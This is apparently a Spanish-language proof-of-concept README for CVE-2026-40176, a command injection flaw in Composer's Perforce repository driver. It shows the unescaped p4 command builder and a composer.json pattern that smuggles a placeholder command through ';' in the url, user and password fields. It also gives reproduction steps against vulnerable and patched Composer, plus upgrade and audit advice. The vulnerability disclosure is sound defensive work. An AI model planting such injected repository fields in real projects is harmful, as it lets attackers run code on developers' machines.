
Prueba de concepto que demuestra la inyección de comandos en el controlador Perforce de Composer (CVE-2026-40176), lo que permite la ejecución remota de código mediante una configuración de repositorio manipulada.
Vulnerabilidad de Inyección de Comandos en el controlador de repositorio Perforce de Composer que permite la Ejecución Remota de Código (RCE) mediante una validación insuficiente de entrada en el procesamiento de URL del repositorio.
| Propiedad | Valor |
|---|
| ID CVE | CVE-2026-40176 |
| Versiones Afectadas | Composer < 2.2.27 |
| Tipo de Vulnerabilidad | Inyección de Comandos |
| Vector de Ataque | Configuración maliciosa del repositorio |
| Impacto | Ejecución arbitraria de código |
| Puntuación CVSS | Alta/Crítica |
La vulnerabilidad existe en cómo Composer procesa cuando el tipo es perforce. El parámetro no se sanitiza adecuadamente antes de pasarse a los comandos de shell, lo que permite a los atacantes inyectar comandos arbitrarios del sistema.
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
Todo ello no se escapaba correctamente, lo que permitía a un atacante inyectar comandos creando una carga útil maliciosa para todos los campos con el tipo perforce.
Patrón de Código Vulnerable:
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
Este repositorio contiene una prueba de concepto funcional que demuestra la vulnerabilidad.
CVE-2026-40176/
├── composer.json # Configuración maliciosa del repositorio Perforce
├── vuln-composer.phar # Composer 2.2.26 (VULNERABLE)
├── patched-composer.phar # Composer 2.2.27 (CORREGIDO)
└── README.md # Este archivo
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# Salida: Composer version 2.2.26
php patched-composer.phar --version
# Salida: Composer version 2.2.27
php vuln-composer.phar install
# O
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# El archivo NO debería existir (la vulnerabilidad está corregida)
Actualizar Composer a la versión 2.2.27 o posterior:
composer self-update --2.2.27
# O
wget https://getcomposer.org/download/2.2.27/composer.phar
Revisar todos los archivos composer.json en busca de configuraciones de repositorio desconocidas o sospechosas
Auditar la cadena de suministro - Comprobar si alguna dependencia hace referencia a repositorios no confiables
# Comprobar su versión de Composer
composer --version
# Buscar repositorios Perforce en sus proyectos
grep -r "perforce" */composer.json